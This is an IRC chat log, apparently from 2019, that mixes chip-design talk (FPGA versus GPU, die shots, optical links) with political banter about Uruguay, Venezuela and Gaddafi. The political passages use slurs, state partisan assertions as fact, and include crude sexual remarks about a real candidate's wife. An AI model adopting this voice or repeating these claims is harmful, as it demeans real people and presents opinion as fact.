1909668;1556118879;mp_en_viaje;but it is doubtless worth commenting upon how design-with-a-view-to-wot automatically resolves the "work/education '''disparity'''". ie, they "become" the same exact fucking thing that they were all along.
1909669;1556118918;mp_en_viaje;"bring your children to work day" fucking hell. how can children and adults be distinguished in this sense ? "oh, mp, we in ourdemocracy have arbitrary cutoffs, there's creative people and good at maths people and so on". "fuck you."
1909670;1556119011;mp_en_viaje;the ~exact same process~ through which an acceptable republican artefact is constructed is the ~exact same process~ through which a mind grows into republican form. the way you convince us to use your proggy is the way 15yo learns how to write a proggy we'll use. and so fucking on forever.
1909671;1556119095;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909569 << long list of [http://trilema.com/2013/nobody-could-have-foreseen-their-using-a-plane-like-a-rocket/][shit] they're to answer for.
1909672;1556119095;a111;Logged on 2019-04-23 23:12 asciilifeform: imho the so-called 'civilized' world ought to have to answer re why it failed to produce a product like this.
1909673;1556119148;asciilifeform;mp_en_viaje: 1st i saw the link to that thing, went 'eh, fossil', then went and ~read~, and 'wtf, where do i buy a chip with even half the doc of this'
1909674;1556119178;mp_en_viaje;ima have to sit down and read these sometime.
1909675;1556119205;asciilifeform;picture if yer bmw came with not only repair schematic but the calculations of the original designer re why cylinder head is this-wide etc
1909676;1556119227;asciilifeform;and the report from metallurgist re why just-so molybdenum % , etc
1909677;1556119246;mp_en_viaje;i'd totally fucking read it.
1909678;1556119253;asciilifeform;that's what that was.
1909679;1556119256;mp_en_viaje;moreover -- it'd totall be worth more like that.
1909680;1556119257;*;asciilifeform brb:tea
1909681;1556119263;*;mp_en_viaje shall bbl also.
1909682;1556119595;*;mp_en_viaje waves bye
1909683;1556121291;asciilifeform;re the 1801 thing -- moar interestingly , author was not content to merely dig up ancient docs, but apparently [https://archive.is/BqeKa][decapped the dies] and verified that these in fact correspond to the physical artifact
1909684;1556121367;asciilifeform;!Q later tell bvt ty for digging up the 1801 materials; dun suppose you could get the author in here ?
1909685;1556121367;lobbesbot;asciilifeform: The operation succeeded.
1909686;1556122561;BingoBoingo;In efforts to stay poor, won't take a free ambulance: https://www.elobservador.com.uy/nota/la-burocracia-de-asse-freno-la-donacion-de-una-ambulancia-para-minas-2019417152938
1909687;1556122622;asciilifeform;BingoBoingo: dunno what is this mythical beast, a 'phree' gift from usg
1909688;1556122630;asciilifeform;aint nosuchthing as free.
1909689;1556122668;BingoBoingo;So it goes. But interesting to see the immune system story told from the other side.
1909690;1556122707;BingoBoingo;And the thing ending over a couple bucks for an apostille
1909691;1556123007;BingoBoingo;Or so the group says. Nothing in the story about Uruguay not wanting junk vehicles dumped here (unless the junk vehicles are new Indian/Chicom bikes)
1909692;1556123207;asciilifeform;BingoBoingo: 'phree gift' from reich invariably comes with 'and we get to appoint a harvard grad as yer minister of health' etc
1909693;1556123255;BingoBoingo;And the immune system kicks in because Uruguayo Pantsuits don't want to be replaced by US Pantsuits
1909694;1556123271;asciilifeform;if the orcs suddenly woke up to this being a bit much of a lopsided exchange for 1 rattled old meatwagen, perhaps some of'em even have sumthing like a brain
1909695;1556123276;BingoBoingo;Hence the "prove you didn't steal the junk ambulance" dance
1909696;1556123356;asciilifeform;old man soros wrecked ru ~entirely via 'gifts' liek this, to the point that still not cleaned up 20y later
1909697;1556123362;BingoBoingo;The entry point for used vehicles to Merosur is Paraguay anyways. They get them from the Japs and convert to American driver's position
1909698;1556123411;*;BingoBoingo unsure what Harvard Pantsuit would want the salary of a Uruguayo Minister
1909699;1556123426;asciilifeform;the kind that is from orcistan to start with
1909700;1556123433;BingoBoingo;Unless they were getting paid with clean clinton corruption
1909701;1556123463;asciilifeform;1) attend clintonarvard 2) return to orcistan as 'appointee' 3) feather miaminest for 20y 4) decamp, profit!1
1909702;1556123509;asciilifeform;( famously , why was castro so hated by the lizards. cuz broke ranks b/w '2' and '3' )
1909703;1556123740;BingoBoingo;Well, frontrunner for the National Party nomination "Luis LaCalle Pou" had an uncle killed by the CIA in the 70's.
1909704;1556123760;BingoBoingo;And that's the local "right wing" party
1909705;1556123764;asciilifeform;pretty sure erryone in south amer had 'uncle killed by cia'
1909706;1556123806;asciilifeform;y'know, back when there were ~2~ reichs handing out 'phree' ambulances
1909707;1556123812;asciilifeform;an' competing for 'customers'
1909708;1556123896;BingoBoingo;Well guy allegedly polling third in the National Party is Satori with the Russian oligarch wife and legal marijuana bsns selling the pharmacy schwag.
1909709;1556124035;BingoBoingo;The old Pantsuitist Party the Colorados have a nearly 90 year old former President running even in their polls with some young derp. Colorados don't ever break 15% in intention to vote.
1909710;1556124135;BingoBoingo;Then there's the Fat Forehead Party, their favored candidate is the cuck who was Mayor until he had to quit that job to campaign.
1909711;1556124190;BingoBoingo;Then there's about 20-40 fringe candidates spread across the major parties, their subdivisions, and the "why are they trying to compete on a national scale" parties
1909712;1556124312;BingoBoingo;The USG-ist appearing candidates are the second place guy in the National Party, some fat old Potato whose name begins with L and the other Colorado Guy. Some cuck named Talvi.
1909713;1556124352;BingoBoingo;Talvi has a campaign office a block and a half away. The campaign office is topped by a billboard selling Luis
1909714;1556124356;BingoBoingo;!!up mp_en_viaje
1909715;1556124356;deedbot;mp_en_viaje voiced for 30 minutes.
1909716;1556124374;mp_en_viaje;hola #dos
1909717;1556124407;BingoBoingo;Hola
1909718;1556124435;*;diana_coman waves
1909719;1556124503;diana_coman;the whole C-thread reads... interestingly from the depths of planeshit client +crystalspace
1909720;1556124528;mp_en_viaje;heh.
1909721;1556124549;mp_en_viaje;http://btcbase.org/log/2019-04-24#1909684 << poor guy.
1909722;1556124549;a111;Logged on 2019-04-24 15:56 asciilifeform: !Q later tell bvt ty for digging up the 1801 materials; dun suppose you could get the author in here ?
1909723;1556124578;mp_en_viaje;bvt, do not despair, even if these do not work out, they're still worth doing. depressing as it may be, at least we know, at least we do the homework, etc.
1909724;1556124629;asciilifeform;mp_en_viaje: i did short walk through the linked www, believe or not, d00d in fact typed up some of the ancient docs into humanlike text
1909725;1556124652;asciilifeform;( on top of die shots, transistor recognition, etc )
1909726;1556124693;mp_en_viaje;pretty cool.
1909727;1556124693;asciilifeform;prolly the most valuable vlsi likbez i've found to date, even beats the ancient carver mead schoolbook in some ways
1909728;1556124704;mp_en_viaje;strikes me as born-in-50s sorta guy tho.
1909729;1556124720;asciilifeform;seems likely
1909730;1556124775;asciilifeform;( tho folx have been wrong in the past, e.g. http://btcbase.org/log/2018-11-30#1876229 )
1909731;1556124775;a111;Logged on 2018-11-30 02:58 zx2c4: haha, was just curious. i presume you're ancient
1909732;1556124842;asciilifeform;http://btcbase.org/log/2019-04-24#1909719 << was thinking, as result of last wk's thrd, 'sane fpga could just as readily replace heathen gpu as cpu'
1909733;1556124842;a111;Logged on 2019-04-24 16:48 diana_coman: the whole C-thread reads... interestingly from the depths of planeshit client +crystalspace
1909734;1556124898;asciilifeform;... for that matter, pretty much the entire 'iron babel' of nic, gpu, raid, etc
1909735;1556124950;asciilifeform;really one only needs 2 types of ic in the box , fpga and voltage regulators...
1909736;1556124962;mp_en_viaje;hashing gpus are hard to replace. if you organize the misery from say dimm to say ipad cpus, gpus are kinda the next-notable node from dimm up.
1909737;1556124982;asciilifeform;depends whatmeans 'replace'
1909738;1556125009;mp_en_viaje;well, point being, your ideal object would be 80+% identical crystal.
1909739;1556125015;asciilifeform;for 'i'm breaking codez and erry nanosecond counts' cannot replace custom matrix where you manually arranged transistors, no.
1909740;1556125025;asciilifeform;for 'i want 60 frames/sec in 'doom' ' -- yes replace.
1909741;1556125064;asciilifeform;this is sorta the basic idea in e.g. ffa -- 'what's the simplest mechanism that will actually suffice'
1909742;1556125077;diana_coman;in rather insane bits, just counted the "parameters" of an actor entity in eulora's client and there's 40 of them without even counting that some of those are tuples.
1909743;1556125089;asciilifeform;( ~suffice~ , rather than 'set speed records in guiness book' )
1909744;1556125160;mp_en_viaje;asciilifeform, not necessarily a matter in those practical terms. a bike / ride-on lawnmower "suffices" as automobile, but it is still ~ridiculous~, specifically by the very poor fit of design to usage.
1909745;1556125180;asciilifeform;mp_en_viaje: you'd be surprised at 99% of what gets baked as 'asic'
1909746;1556125192;mp_en_viaje;and what i'm saying is that any meaningful gpu will be very similar to extant items. i do not expect there is ~any meaningful overlap, from a purely graphical pov, between extant cpu and sane cpu.
1909747;1556125195;asciilifeform;the # of folx who remember how to custom-draw transistors, is quite small.
1909748;1556125202;mp_en_viaje;but i do expect memories will be 99%+ identical, because wtf, banks of cells.
1909749;1556125217;asciilifeform;most of what's baked at e.g. tmsc, is 'verilog synthed' i.e. essentially same as fpga but w/ masked config bits.
1909750;1556125249;asciilifeform;this includes the konsoomer gpus.
1909751;1556125249;mp_en_viaje;im sure.
1909752;1556125266;mp_en_viaje;nah. nvidia never "verilog synthed"
1909753;1556125269;asciilifeform;( it is interesting, imho, they ~could~ rearrange the cells , but do not, it requires skilled labour )
1909754;1556125278;asciilifeform;mp_en_viaje: i know for a fact that they do.
1909755;1556125279;mp_en_viaje;not even for prototyping, they had some inhouse thing i could never pin down
1909756;1556125282;mp_en_viaje;how ?
1909757;1556125292;asciilifeform;they published a piece re the prototypetron.
1909758;1556125305;mp_en_viaje;yeah, cca 2014 or so, disinfoworks.
1909759;1556125306;asciilifeform;it's a quite large box of fpga, programmed in much same way as asciilifeform prototyped fg.
1909760;1556125321;asciilifeform;they're actually an off-the-shelf item, asciilifeform at one time nearly bought a 2ndhand unit
1909761;1556125322;mp_en_viaje;afaick, that thing was never used.
1909762;1556125388;asciilifeform;nao i did not walk in and see it used. but would be surprised to learn that it wasn't, the temptation is irresistible , on acct of [http://btcbase.org/log/2019-04-17#1908828][sheer heft of the risk] in the biz
1909763;1556125388;a111;Logged on 2019-04-17 19:49 asciilifeform: asic is a high enuff risk biz that the people who do it, are conservative to the point of 'if this exact thing hasn't been done before, fughetaboutit'
1909764;1556125399;mp_en_viaje;the radeon things, yes, which is why they were never nearly as watt-efficient etc.
1909765;1556125412;asciilifeform;intel/amd -- known to use
1909766;1556125424;asciilifeform;( their designs only ever exist as rtl, starting from 'pentium pro' )
1909767;1556125428;mp_en_viaje;asciilifeform, nah, listen to me, there's a lot of ways to prove this, including the massive gap in efficiency between the competition and nvidia's chips
1909768;1556125435;mp_en_viaje;right.
1909769;1556125438;asciilifeform;the last x86 product where they bothered to hand-massage transistor, was pentium1
1909770;1556125457;mp_en_viaje;and admittedly nvidia also had some shittier chips in this vein. but they also had a skunkworks core that did something that i dunno what it is.
1909771;1556125510;asciilifeform;mp_en_viaje: if you ever get hold of a die shot, it is possible to distinguish with naked eye, when 'compiled from rtl' and when 'hand-massage' . practical example of the former : https://s.zeptobars.com/baikal-Si.jpg
1909772;1556125519;asciilifeform;when you see 'tumour mass', that there's autorouter at work.
1909773;1556125532;asciilifeform;these aint dirt on the lens, they're actually where it put the transistors.
1909774;1556125621;mp_en_viaje;not so hard to decap a 1070 or w/e and looksee.
1909775;1556125642;mp_en_viaje;but they're rather more rectangular than the java-looking atrocities of intel.
1909776;1556125650;asciilifeform;it is entirely not the case that 'no one' hand-massages. but the items with 3bil+ transistors, it is rather impractical proposition to do this for.
1909777;1556125666;asciilifeform;the analogue / dsp folx, still occasionally do it.
1909778;1556125696;asciilifeform;mp_en_viaje: erry die from z80 up has 'large rectangular' , them's the cache srams.
1909779;1556125696;mp_en_viaje;(note, i'm not even remotely saying 100% hand-made. but they had ~something~, that afaik was never found. and it sure as fuck wasn't just a software layer on whatever off the shelf verilogizer.
1909780;1556125739;asciilifeform;mp_en_viaje: lacking even photograph, i cannot pontificate in further detail re nvidia. but also do not automatically conclude on acct of 'faster than amd's' that it were hand-sewn.
1909781;1556125750;asciilifeform;hand-sewing ups the nre cost ~100x.
1909782;1556125756;asciilifeform;cuz you gotta use 'born in '50s' folx.
1909783;1556125785;mp_en_viaje;it just wasn't practical. and no i don' tmean "large rectangles".
1909784;1556125803;mp_en_viaje;but the thing i interpreted that "tumour mass" you talked about to mean was this specific pattern, a sorta circular bundle.
1909785;1556125818;mp_en_viaje;whereas this is, "squarier" however the fuck shall i say this.
1909786;1556125833;mp_en_viaje;not like we have good words to discuss synthetically the subject matter. tho i'd very much like to.
1909787;1556125837;asciilifeform;fwiw nvidia's 'help wanteds' all seem to mention verilog.
1909788;1556125847;mp_en_viaje;yes, but they always hired entry level.
1909789;1556125853;mp_en_viaje;trained in house.
1909790;1556125891;mp_en_viaje;the problem is tho, this doesn't even mean much. by the time tech corp hires senior techs on market, its name becomes hp and their name becomes carly fiorina, the future president of the us.
1909791;1556125945;asciilifeform;this yes
1909792;1556126005;mp_en_viaje;anyway, to sum up this thread before it runs away from us : i expect that if you design your own gpu, and we compare it (through what, who knows, maybe by then phf comes up with a magical differ that woerks on circuit designs) to the top of the range efficiency gpus (~100% of them nvidia products, tho not 100% of the nvidia products) you'll discover they're very similar.
1909793;1556126009;asciilifeform;[https://archive.is/1Ekcw][the orig nvidia simulators noosepiece] , ftr.
1909794;1556126054;mp_en_viaje;not quite as similar as how alf-designed memory wouild be ; but more similar than ~anything else.
1909795;1556126062;asciilifeform;mp_en_viaje: very similar, how else. asciilifeform's observation was that even 'nvidia, but 50x slower cuz on fpga matrix, still suffices for reasonable gaming' , more like.
1909796;1556126080;mp_en_viaje;i... guess.
1909797;1556126088;mp_en_viaje;i dunno i wanna melt my caps for this 50x slower thing tbh.
1909798;1556126101;mp_en_viaje;(pro tip : diff between mobo without gpu and mobo with gpu is 3x lifetime.)
1909799;1556126116;asciilifeform;no melted caps, simply won't draw on 4096x4096 3d glass display at 200fps or what's the latest wankfad.
1909800;1556126132;mp_en_viaje;even a 30w one has terrible effect on mobo lifetime.
1909801;1556126153;asciilifeform;i dunthink i have anyffin in my boxes that draws whole 30w from pci
1909802;1556126170;asciilifeform;( even nvidia's cards do not, they have hdd connector for +v )
1909803;1556126181;mp_en_viaje;these be some 1999 cards lol
1909804;1556126206;asciilifeform;i actually have a (heathenisms) box here with '1070'
1909805;1556126210;*;mp_en_viaje even has old agp vidcards, they draw about 35-50.
1909806;1556126213;asciilifeform;it has ye olde molex 12v in
1909807;1556126225;asciilifeform;draws 200+w , just not from mobo
1909808;1556126234;asciilifeform;cuz why
1909809;1556126235;mp_en_viaje;yes, but it ~still heats it~
1909810;1556126248;BingoBoingo;http://btcbase.org/log/2019-04-24#1909764 << There was a window where the Radeons were much more efficient when it came to mining. Depended on the flavor of math getting fed to the card. AMDs loved the repetative bland stuff.
1909811;1556126248;a111;Logged on 2019-04-24 17:03 mp_en_viaje: the radeon things, yes, which is why they were never nearly as watt-efficient etc.
1909812;1556126257;asciilifeform;it's why you pump air through the thing like vacuum cleaner neh
1909813;1556126267;mp_en_viaje;asciilifeform, i'm not necessarily discussing the electricity draw ; but the thermic leak trough the connectors.
1909814;1556126286;asciilifeform;this is actual problem, for folx who dun like box to sound like 'hoover' , verily
1909815;1556126295;mp_en_viaje;pump as you will. as a factual matter, conncted gpu fucks your board like a solid drinking habit fucks your slavegirl.
1909816;1556126308;asciilifeform;mp_en_viaje: ever ~drop~ box with gpu mounted, lol
1909817;1556126312;asciilifeform;problem even when switched off.
1909818;1556126338;asciilifeform;sorta why some folx have taken to mounting'em ~externally~ (pcie spec allows for long snake)
1909819;1556126381;asciilifeform;these became off-shelf product in last coupla yrs
1909820;1556126385;mp_en_viaje;lol that's an idea.
1909821;1556126393;asciilifeform;fiddybux or so
1909822;1556126401;asciilifeform;box has atx ps an' pcie backplane, comes with snake.
1909823;1556126440;asciilifeform;'200fps' game fanatics, 'gpu shitcoin' mining people, etc. -- buy by the traincar
1909824;1556126446;mp_en_viaje;im sure.
1909825;1556126492;asciilifeform;( i.e. mp_en_viaje is not the 1st to notice the absurdity of plugging a 2kg, 200watt eater into pc mobo )
1909826;1556126539;asciilifeform;incidentally 'cray' has this in 1980s. why pc bus had to wait 30 years to become 'snakeable', i have nfi.
1909827;1556126579;asciilifeform;for that matter, i still have nfi why said snake is copper, and not optic.
1909828;1556126585;asciilifeform;( cray's -- optic. )
1909829;1556126684;mp_en_viaje;possibly because for a long time the optic modems slow.
1909830;1556126708;asciilifeform;they had gigabit+ optic transceiver in '90 or so.
1909831;1556126726;mp_en_viaje;yes but not for 50 cents
1909832;1556126737;asciilifeform;( seekrit : emitter-coupled logic existed in '70s, worked up to ghz. but not cheap. )
1909833;1556126741;asciilifeform;!#s ecl
1909834;1556126742;a111;42 results for "ecl", http://btcbase.org/log-search?q=ecl
1909835;1556126746;asciilifeform;^ somewhere we had thread
1909836;1556126768;asciilifeform;http://btcbase.org/log/2017-06-30#1677793 << & elsewhere
1909837;1556126768;a111;Logged on 2017-06-30 18:04 asciilifeform: ecl is a 'black art' incidentally. for instance, it runs 'backwards' voltagewise, with ground-as-positive, and needs negative supply
1909838;1556126799;asciilifeform;still, afaik, used, in radar etc.
1909839;1556126814;asciilifeform;it's the champ, to date, of 'clock at any cost'
1909840;1556126834;asciilifeform;( and that's on si. on e.g. gallium arsenide, even moar so )
1909841;1556126861;mp_en_viaje;yeah there was a galena thing
1909842;1556126897;asciilifeform;there's half dozen or so 'golden toilet' processes.
1909843;1556126944;asciilifeform;i half-expected 1 or other would be trotted out when 'moor's law' dead. but turned out to be cheaper to simply tell konsoomer to suck it.
1909844;1556126977;asciilifeform;'buy 32 cores' etc
1909845;1556127042;mp_en_viaje;optics are quite not ready for deployment in this role
1909846;1556127051;mp_en_viaje;nor is it clear anyone did any serious work on them past 30 years.
1909847;1556127165;asciilifeform;dunno, i priced recently raw 6GB/s transceiver, was ~30bux ea.
1909848;1556127258;asciilifeform;for that matter: http://btcbase.org/log/2017-08-04#1693906 << slower ver. of same, pictured in live fire test of isolated fg.
1909849;1556127258;a111;Logged on 2017-08-04 16:35 asciilifeform: recall also http://nosuchlabs.com/fg/fibertest/fg_isol_sender.jpg + http://nosuchlabs.com/fg/fibertest/fg_isol_receiver.jpg gave similar null result for ~power~.
1909850;1556127333;asciilifeform;worked a++, and that's with hand-cut cheapo plastic fiber.
1909851;1556127346;mp_en_viaje;http://btcbase.org/log/2019-04-24#1909696 << considering how fucking worried the pantsuits are about gifts (the whole foundation"
1909852;1556127346;a111;Logged on 2019-04-24 16:29 asciilifeform: old man soros wrecked ru ~entirely via 'gifts' liek this, to the point that still not cleaned up 20y later
1909853;1556127370;asciilifeform;( fiber is a++ winner, it dun give a shit re capacitance, inductance, other devils of high-freq copper cabling )
1909854;1556127385;mp_en_viaje;http://btcbase.org/log/2019-04-24#1909696 << considering how fucking worried the pantsuits are about gifts (the whole "foundation" wank exists specifically to insulate them from the gifting etc), nobody is surprised trojan gifting'd be their principal outreach strategy.
1909855;1556127385;a111;Logged on 2019-04-24 16:29 asciilifeform: old man soros wrecked ru ~entirely via 'gifts' liek this, to the point that still not cleaned up 20y later
1909856;1556127452;mp_en_viaje;in the end, the relationship between capital and power is the principal bojum of ourdemocracy, however you turn it.
1909857;1556127534;mp_en_viaje;the whole "i just want to" item is just an artefact of this same problem ; examtaking is just a manifestation of the same behaviour. the [http://trilema.com/2018/the-principal-agent-problem-or-how-america-went-away/][principal-agent problem] is the same damned thing. the brokenness of domestic arrangements in the us flow from the very simple "it
1909858;1556127554;mp_en_viaje;s not clear to us anymore how "makes the rules" flows from "brings home the bacon".
1909859;1556127555;mp_en_viaje;and so on.
1909860;1556127599;mp_en_viaje;unions exist specifically because "it's not clear to us anymore that owning the machinery means owning the slaves attending the machinery" ; and i don' tmean clear to the slaves. i mean clear to the ~owners~.
1909861;1556127762;mp_en_viaje;http://btcbase.org/log/2019-04-24#1909699 << lotta these. the us shitversities exist principally through this orc anointment process these days. not that it'll last, but that's pretty much the last remaining octopus leg, not ablated yet.
1909862;1556127762;a111;Logged on 2019-04-24 16:30 asciilifeform: the kind that is from orcistan to start with
1909863;1556127854;mp_en_viaje;http://btcbase.org/log/2019-04-24#1909706 << fu, ROMANIA ALSO!!!
1909864;1556127854;a111;Logged on 2019-04-24 16:36 asciilifeform: y'know, back when there were ~2~ reichs handing out 'phree' ambulances
1909865;1556127873;asciilifeform;lol i recall mp_en_viaje's bogota piece
1909866;1556127877;mp_en_viaje;and much to caer/cominform despair, independently!!!
1909867;1556127884;asciilifeform;shoemaker built'em, wat, reactor
1909868;1556127891;mp_en_viaje;drove people up the fucking wall, "what the fuck is wrong with these people". warlike gnat...
1909869;1556127898;mp_en_viaje;do you know that joke btw, with the olteni and the chinese ?
1909870;1556127904;asciilifeform;hm?
1909871;1556127922;mp_en_viaje;there's a small ethnic group in sw romania, "olteni". one day they declare war to china.
1909872;1556127940;*;asciilifeform still has a... towel. that father bought in bucharest, where it came from china -- in contravention of sovok fatwa
1909873;1556127954;mp_en_viaje;chinese folk spend a while trying to figure out wtf happened, eventually manage to spot this Oltenia on german wehmacht maps from the 1800s.
1909874;1556127966;mp_en_viaje;they send some people over, to negotiate. "why do you want to go to war with us ?"
1909875;1556127970;mp_en_viaje;"none of your fucking business"
1909876;1556127983;mp_en_viaje;"but do you understand there's more than a billion chinese people living in peace bla bla bla ?"
1909877;1556127998;mp_en_viaje;at which point the olteni are a little taken aback, and one guy in the 2nd rank whispers in boss' ear
1909878;1556128012;mp_en_viaje;"if there's really that many of them... where the fuck we gonna bury them all ?!"
1909879;1556128018;asciilifeform;ha
1909880;1556128031;mp_en_viaje;kinda ro mindset (shoemaker was from oltenia).
1909881;1556128037;asciilifeform;iirc this in fact literally played out in iraq war council
1909882;1556128044;mp_en_viaje;haha. kinda.
1909883;1556128125;mp_en_viaje;http://btcbase.org/log/2019-04-24#1909709 << is she hawt ? did i miss the qntra pics of her (hopefully closely shaved) snatch ?
1909884;1556128125;a111;Logged on 2019-04-24 16:40 BingoBoingo: The old Pantsuitist Party the Colorados have a nearly 90 year old former President running even in their polls with some young derp. Colorados don't ever break 15% in intention to vote.
1909885;1556128130;mp_en_viaje;inquiring minds!
1909886;1556128156;BingoBoingo;The young one is a cucky dude
1909887;1556128194;BingoBoingo;Old one is oldgendered former mancuck
1909888;1556128196;mp_en_viaje;wrong link
1909889;1556128205;mp_en_viaje;http://btcbase.org/log/2019-04-24#1909708 << meant this
1909890;1556128205;a111;Logged on 2019-04-24 16:38 BingoBoingo: Well guy allegedly polling third in the National Party is Satori with the Russian oligarch wife and legal marijuana bsns selling the pharmacy schwag.
1909891;1556128231;mp_en_viaje;damn easy to misclick on this damned thing.
1909892;1556128269;mp_en_viaje;and speaking of harvard educated failures, what ever became of the "internationally recognized" redditpresident of venezuela ?
1909893;1556128293;BingoBoingo;https://www.townandcountrymag.com/society/news/a4018/ekaterina-rybolovleva-juan-sartori-skorpios-wedding/ << The candidate and the wife
1909894;1556128295;asciilifeform;mp_en_viaje: iirc they switched to 'let's hijack vz embassies abroad' algo
1909895;1556128311;mp_en_viaje;http://trilema.com/2015/heres-what-they-dont-tell-you-when-they-bring-you-those-papers-to-sign/#selection-119.156-119.326 much ?
1909896;1556128330;BingoBoingo;Maduro's letting the derp go derping about impotently.
1909897;1556128349;asciilifeform;i have nfi what's in the '???' in their 1) ... 2) ??? 3) profit eqn.
1909898;1556128392;BingoBoingo;Maduro seems to be following the "why jail him when everyone can see all the nothing he's capable outta cuffs" theory
1909899;1556128450;mp_en_viaje;asciilifeform, WE DID IT REDDIT!!!
1909900;1556128473;asciilifeform;they oughta have separate www, 'diddit'
1909901;1556128476;mp_en_viaje;BingoBoingo, so far i must say im quite impressed with the approach. maduro somehow beats gaddafi in the field ?!
1909902;1556128483;asciilifeform;to catalogue the great feats they 'did'
1909903;1556128488;mp_en_viaje;very unexpected at mp central ; wouldnt have made the book this way in a mn years.
1909904;1556128518;mp_en_viaje;asciilifeform, yeah, and next drosophila will come with fiscal receipt dispenser.
1909905;1556128530;asciilifeform;lol
1909906;1556128532;mp_en_viaje;"ate plum juice..."
1909907;1556128539;BingoBoingo;Well, Maduro is very popular in Vzla. Actually has the police protecting Guaidó from the angry mobs at his rallies.
1909908;1556128545;mp_en_viaje;keks
1909909;1556128565;mp_en_viaje;fucking turned things around, this idiocy. i had nfi maduro is actually popular. i still half don' tbelieve it. but hard to argue with the facts.
1909910;1556128606;asciilifeform;tbf gaddafi also was popular. ( handed out, what, half mil $ of phree errythings to erry subject erry yr ) , didn't save'im
1909911;1556128608;mp_en_viaje;but anyway, pretty epic case of co-opting usg.blue's "orange revolution" material into court fucktoy / clown. i suppose he got the typically pantsuit fake opposition as cheaply as could be had.
1909912;1556128627;BingoBoingo;Well, wins the elections by big margins. Allows local "collectivo" groups of men broad authority.
1909913;1556128634;mp_en_viaje;asciilifeform, this is what impresses me. it's like watching hedgehog manage what hippo couldn't do.
1909914;1556128654;mp_en_viaje;the intervening decade must bear most of the brunt of the explanation, otherwise i simply dun see it. maduro is no fucking gaddafi are you kidding me ?
1909915;1556128688;BingoBoingo;It's the argentine thing where the bottom 2/3 of the population in Vzla is incapable of disagreement. Evil yankees keeping us down... etc.
1909916;1556128714;mp_en_viaje;bottom libya wasn't that substantially different.
1909917;1556128721;mp_en_viaje;at least not in my experience.
1909918;1556128761;BingoBoingo;Well, it was still North African population.
1909919;1556128766;mp_en_viaje;anyway. "western coallition" days are entirel ythe fuck over, no doubt about that. failed in turkey, failed in venezuela, there's 0 left for them.
1909920;1556128855;BingoBoingo;Vzla is... Latino
1909921;1556128996;BingoBoingo;Then there's the decades the Colonel had getting comfortable because the thought Europe wanted him to keep Africa in Africa. Maduro's always had the US beast bearing down on him, entire regime has had to be kept on a war footing.
1909922;1556129210;BingoBoingo;As far as I can tell Maduro is more entrenched than any of the Middle Eastern strongmen the US targetted.
1909923;1556129236;mp_en_viaje;i dunno the problem was anything to do with that, gaddafi was the paragon of non-alligned warlike. he even enaged in very meaningful pre-mp cultural war, what with his tall busty harem girls and whatnot.
1909924;1556129254;mp_en_viaje;the problem, i suspect, was that he was getting old and had no succession. at least that was my understanding of the collapse at the time.
1909925;1556129340;mp_en_viaje;a forty-something galivanting about the world having girls strip naked in the middle of the mall to try on slutwear and kneeling in supermarkets is very unlike an eighty-something visiting new york in his tent.
1909926;1556129416;BingoBoingo;Well the Colonel was outwardly warlike, and... succession problem. If Maduro kicks it there's probably someone from the pipefitter's union to take the reigns.
1909927;1556129474;asciilifeform;[http://btcbase.org/log/2014-03-21#573142][oblig ghaddafi thrd]
1909928;1556129474;a111;Logged on 2014-03-21 17:44 asciilifeform: 'When the glorious Muammar Kaddafi, in his blue bournouse, or in his uniform, appear on the telly, the domesticated inhabitant of the sanitaria jerks from fright. 'Monster,' 'terrorist,' 'evildoer,' public enemy number one - the media calls him, led by its disdain for all that is envigorating (and, on top of it all, foreign), and pushed by false information supplied by CIA... ...his very existence is a rebuke,
1909929;1556129522;BingoBoingo;And the old word folks had centuries to faction up. In the new world when the Latinos faction up generally its about drug business instead of holy war.
1909930;1556129570;mp_en_viaje;hm
1909931;1556129619;BingoBoingo;Do the cocaine folks want Maduro or USG.CIA who will surely steal their product and attack them.
1909932;1556129756;BingoBoingo;I mean, when you were in Argentina, did you see strong tribal identities outside of the outsider communities?
1909933;1556129779;mp_en_viaje;yes. old women "theatrical stars"
1909934;1556129805;mp_en_viaje;most ridiculous thing anyone coudl imagine, the sarah bernards of 2010s argentina
1909935;1556129889;BingoBoingo;And were the old bags in a rush to take up arms against anyone?
1909936;1556129983;mp_en_viaje;arms scharms.
1909937;1556130008;mp_en_viaje;fuck, i don' teven want to talk about it. fucking infuriating shithole.
1909938;1556130060;BingoBoingo;Anyways. Any group of organized men in Vzla have more to win from more Maduro than they have to win by defecting
1909939;1556130202;mp_en_viaje;evidently.
1909940;1556130356;BingoBoingo;Cuba held after the soviet union's fall for what seems to be the same reason. The Latinos who didn't want it already left.
1909941;1556131240;mp_en_viaje;well, ima bbl!
1909942;1556133010;feedbot;http://qntra.net/2019/04/uk-high-court-declared-gsm-gateway-ban-illegal/ << Qntra -- UK High Court Declared GSM Gateway Ban Illegal
1909943;1556138827;bvt;http://btcbase.org/log/2019-04-23#1909552 << i grok this. the question is, how much work should go into cuntoo?
1909944;1556138827;a111;Logged on 2019-04-23 22:28 asciilifeform: http://btcbase.org/log/2019-04-23#1909527 << currently i suspect that tcc & similar is a mirage; and that an actual serious solution would moar resemble [http://btcbase.org/log/2019-04-23#1909407][the bolix approach], where you have a proper lisp and a ~compact~ + readable c-to-lisp ~in~ it for use with legacy crapola while-needed
1909945;1556138847;bvt;http://btcbase.org/log/2019-04-24#1909627 << added to the list of things to try
1909946;1556138847;a111;Logged on 2019-04-24 14:43 mp_en_viaje: http://btcbase.org/log/2019-04-23#1909530 << if this is actually true, would prolly be worth doing. feel free to look into it soemtime.
1909947;1556138880;bvt;http://btcbase.org/log/2019-04-24#1909614 << i can do some experiments with tcc-based linux; this may be a too big chunk if i start with cuntoo, but should be possible with some very minimal linux.
1909948;1556138880;a111;Logged on 2019-04-24 14:33 mp_en_viaje: http://btcbase.org/log/2019-04-23#1909527 << drop gcc entirely ; drop all c code entirely ; rely on tcc as a scripting language to turn whatever snippets of c into object code that we haven't yet thrown away ; and for quick prototyping, where one's stuck getting a mass of 1mn shitlocs interop with 10k loc's worth of a whole universe
1909949;1556138919;bvt;http://btcbase.org/log/2019-04-24#1909683 << do you mean the pdf/word in the vm1 directory? or whole repo with e.g. http://archive.is/E2iex#selection-3535.0-3561.54 ? if there is a single document, i'd definitely read
1909950;1556138919;a111;Logged on 2019-04-24 15:54 asciilifeform: re the 1801 thing -- moar interestingly , author was not content to merely dig up ancient docs, but apparently [https://archive.is/BqeKa][decapped the dies] and verified that these in fact correspond to the physical artifact
1909951;1556138965;bvt;*the cited link should've been http://btcbase.org/log/2019-04-24#1909727
1909952;1556138965;a111;Logged on 2019-04-24 16:51 asciilifeform: prolly the most valuable vlsi likbez i've found to date, even beats the ancient carver mead schoolbook in some ways
